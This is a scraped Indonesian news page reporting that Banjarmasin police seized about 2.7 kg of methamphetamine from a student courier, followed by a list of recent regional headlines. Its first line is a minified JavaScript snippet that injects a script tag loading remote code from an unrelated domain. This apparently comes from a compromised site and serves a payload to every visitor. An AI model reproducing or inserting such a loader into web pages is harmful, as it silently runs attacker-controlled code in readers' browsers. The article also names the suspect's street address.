(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

2,7 Kg Sabu Gagal Edar, Berhasil Diungkap Polresta Banjarmasin


BANJARMASIN, Jajaran Satnarkoba Polresta Banjarmasin berhasil menggagalkan peredaran narkoba jenis sabu seberat 2,7 kilogram.

Dalam keterangan persnya, Kapolresta Banjarmasin Kombes Sumarto mengungkapkan, kasus ini diungkap berdasarkan laporan dari masyarakat, jajaran Satnarkoba berhasil mengungkap peredaran barang haram ini.

“Barang bukti berupa 2.790 gram. Dan ini masih kita kembangkan,” kata Kombes Sumarto, sembari menunjukkan barang buktinya kepada awak media, Kamis (10/10).

Kombes Sumarto melanjutkan, berdasarkan pengakuan tersangka yang diketahui berinisial AFS diketahui sudah dua kali melakukan aksinya. “Kita bersyukur berhasil mengungkap,” ucapnya.

Diketahui, sabu seberat 2,7 Kg yang berhasil diamankan aparat kepolisian itu dapat menyelamatkan sedikitnya 41.580 jiwa. “Seandainya sudah tersebar menjadi paket hemat,” katanya.

Sementara itu, Kasat Narkoba Polresta Banjarmasin Kompol Wahyu Hidayat menambahkan, pelaku AFS telah dua kali melaksanakan aksinya. “Informasinya pertama 4 kilogram, yang kita amankan 2,7 kilogram. Hasil barang sementara kami selidiki,” kata Kompol Wahyu.

Kompol Wahyu menegaskan, status AFS merupakan seorang kurir. Sementara, AFS sendiri merupakan warga  Jalan Mangga Komplek Ar Rahim RT 26 Kelurahan Kebun Bunga Banjarmasin. “Kurir, pelaku warga Banjarmasin, pekerjaannya mahasiswa. Dan dia pekerja juga di perkreditan,” katanya. Diketahui, pelaku AFS diciduk di kawasan Mahat Kasan Banjarmasin pada Rabu (9/10).

Pelaku AFS sendiri, menurut Kompol Wahyu, diberi imbalan Rp10 juta setiap menjalankan aksinya. “Informasinya diupah (sebesar) Rp10 juta. Sebagai perantara,” tambahnya.

Kasus ini sendiri, masih terus didalami jajaran Satnarkoba Polresta Banjarmasin. Adapun pasal yang dikenakan kepada pelaku AFS yakni Pasal 112 ayat 2 UU Nomor 35 Tahun 2019 tentang Narkoba. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

8 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

9 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

10 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

11 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

12 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

13 jam ago

This website uses cookies.